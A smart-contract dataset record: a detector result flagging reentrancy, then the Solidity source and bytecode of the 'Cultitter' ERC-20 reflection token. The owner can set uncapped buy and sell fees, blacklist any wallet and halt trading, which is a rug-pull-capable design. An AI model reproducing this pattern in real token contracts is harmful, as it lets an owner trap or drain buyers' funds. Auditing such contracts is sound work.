d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c32565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c32565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c32565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c32565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c67565b9050602002016020810190610a329190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c93565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c32565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c32565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cae565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a20565b50600061121c8486611cc6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdd565b816001815181106113ca576113ca611c67565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfa565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611662565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a0908661172f565b6001600160a01b0389166000908152600260205260409020556115c28161178e565b6115cc84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163e82826114bd565b8210156116595750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116835760405162461bcd60e51b81526004016106239190611a20565b50600061121c8486611d6b565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd61149a565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173c8385611cae565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179861149a565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b906114bd565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826118b0575060006106a9565b60006118bc8385611d8d565b9050826118c98583611d6b565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112dc81611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112dc82611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca757611ca7611c7d565b5060010190565b60008219821115611cc157611cc1611c7d565b500190565b600082821015611cd857611cd8611c7d565b500390565b600060208284031215611cef57600080fd5b81516112dc81611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d031b65346edc766392b79d1a3dbf028443d7f5ec9a8cedb3e8eedccc03dc27364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,095 |
0xd2038d56bb0b3f8cc774e3b217b7c39bfa3d7227
|
// SPDX-License-Identifier: Unlicensed
//When Twitter becomes a DAO, and we may become more vocal, this is what happens: Cult + twitter - w = Cultitter
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cultitter is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cult Titter";
string private constant _symbol = "Cultitter";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3703B2aa35A7233B342Bd6D2Aa34dc671389a628);
address payable private _marketingAddress = payable(0x3703B2aa35A7233B342Bd6D2Aa34dc671389a628);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b657600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600b81526a21bab63a102a34ba3a32b960a91b60208201525b60405161023b9190611a2a565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7f565b6106a0565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aab565b6106b7565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611aec565b610720565b34801561036f57600080fd5b506101fc61037e366004611b19565b61076b565b34801561038f57600080fd5b506101fc6107b3565b3480156103a457600080fd5b506102c36103b3366004611aec565b6107fe565b3480156103c457600080fd5b506101fc610820565b3480156103d957600080fd5b506101fc6103e8366004611b34565b610894565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611aec565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b19565b6108c3565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600981526821bab63a34ba3a32b960b91b602082015261022e565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610264610511366004611a7f565b610978565b34801561052257600080fd5b50610264610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c3610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461